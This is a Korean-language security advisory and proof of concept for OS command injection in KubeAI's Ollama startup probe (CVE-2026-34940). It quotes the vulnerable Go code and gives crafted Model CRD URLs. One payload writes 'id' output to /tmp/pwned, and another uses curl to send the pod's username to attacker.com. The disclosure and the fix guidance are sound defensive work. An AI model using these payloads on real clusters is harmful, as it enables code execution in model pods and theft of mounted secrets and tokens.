
KubeAI의 Ollama 시작 프로브에서 OS 명령 주입에 대한 개념 증명으로, 조작된 Model CRD URL을 통해 Kubernetes 모델 파드에서 임의 코드 실행을 시연합니다.
심각도: 높음 (CVSS 8.7)
CWE: CWE-78 — OS 명령에 사용되는 특수 요소의 부적절한 중화
영향받는 버전: github.com/kubeai-project/kubeai <= 0.23.1
수정 버전: 0.23.2
보안 권고: GHSA-324q-cwx9-7crr
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
공로: Romain Deperne
KubeAI는 Go의 fmt.Sprintf를 통해 Model CRD URL 구성 요소(ref, modelParam)를 bash -c 명령에 보간하여 Kubernetes 시작 프로브 셸 스크립트를 구성합니다. URL 내 셸 메타 문자는 정제되지 않으므로, Model CRD 생성/업데이트 RBAC 권한을 가진 모든 사용자가 클러스터 관리자 권한 없이도 모델 서버 파드 내에서 임의 명령을 실행할 수 있습니다.
저는 Kubernetes AI 추론 운영자 — CRD를 생성하여 LLM을 K8s 워크로드로 배포할 수 있게 해주는 도구 — 를 살펴보고 있었습니다. KubeAI는 Ollama, vLLM 및 기타 엔진을 지원합니다. 제 가설은 다음과 같았습니다: 사용자가 Model CRD를 생성할 수 있다면, 모델 파드 내에서 실행되는 내용에 영향을 미칠 수 있을까?
vLLM 엔진 코드는 즉시 올바른 패턴을 보여주었습니다: 인자가 exec에 문자열 배열로 전달되며 셸이 관여하지 않습니다. 그래서 대조적으로 Ollama 엔진을 살펴보았고 — fmt.Sprintf("%s %s", pullCmd, u.ref)가 bash -c로 전달되는 것을 발견했습니다. 전형적인 셸 주입 구성입니다.
이를 확정짓는 것은 URL 파서 정규식 [^?]+(?를 제외한 모든 문자)입니다: 세미콜론, 백틱, $() 모두 u.ref에서 유효합니다. PoC YAML을 작성하고 적용한 뒤, 모델 파드 내에서 id > /tmp/pwned가 실행되는 것을 확인했습니다.
이를 더욱 심각하게 만드는 미묘한 점은: 멀티테넌트 K8s 클러스터에서 Model CRD RBAC는 종종 명시적으로 클러스터 관리자가 아닌 팀에 부여된다는 것입니다. 이는 제한된 권한을 가진 테넌트에게 모델 파드 내 임의 코드 실행 — 마운트된 시크릿 및 서비스 계정 토큰에 대한 접근 포함 — 으로 이어지는 직접적인 경로를 제공합니다. 이는 K8s RBAC가 강제해야 하는 권한 경계를 넘어섭니다.
파일: internal/modelcontroller/engine_ollama.go, 185–196행
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
이 문자열은 그런 다음 다음과 같이 실행됩니다:
Command: []string{"bash", "-c", startupProbeScript}
URL 파서 (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
vLLM 엔진과의 대조 (안전):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Ollama 엔진은 지름길을 택한다. 다단계 셸 파이프라인을 문자열로 구성한 뒤 bash -c에 전달한다. vLLM 엔진은 exec 스타일 인자 배열을 사용한다. URL 필드를 안전한 문자로 제한하는 어드미션 웹훅이나 CRD 스키마 검증은 존재하지 않는다.
poc.yaml을 참고하라 — Ollama 모델로 KubeAI를 실행 중인 클러스터에서 kubectl apply -f poc.yaml로 적용한다.
벡터 1 — ollama:// URL 참조 (세미콜론 주입):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
생성된 시작 프로브:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned가 실행되어 파드 내부의 /tmp/pwned에 uid=0(root)...를 기록합니다.
벡터 2 — ?model= 쿼리 파라미터 (OOB 유출):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
생성된 프로브:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
파드의 사용자 이름을 공격자가 제어하는 서버로 유출합니다.
Model CRD RBAC 권한이 있는 모든 사용자에 대해 모델 서버 파드에서의 임의 명령 실행bash -c <string>을 인자를 배열로 전달하는 exec 스타일 프로브로 교체하거나(vLLM 엔진이 이미 그렇게 하고 있음), 보간 전에 URL 필드를 ^[a-zA-Z0-9._:/-]+$에 대해 검증하십시오.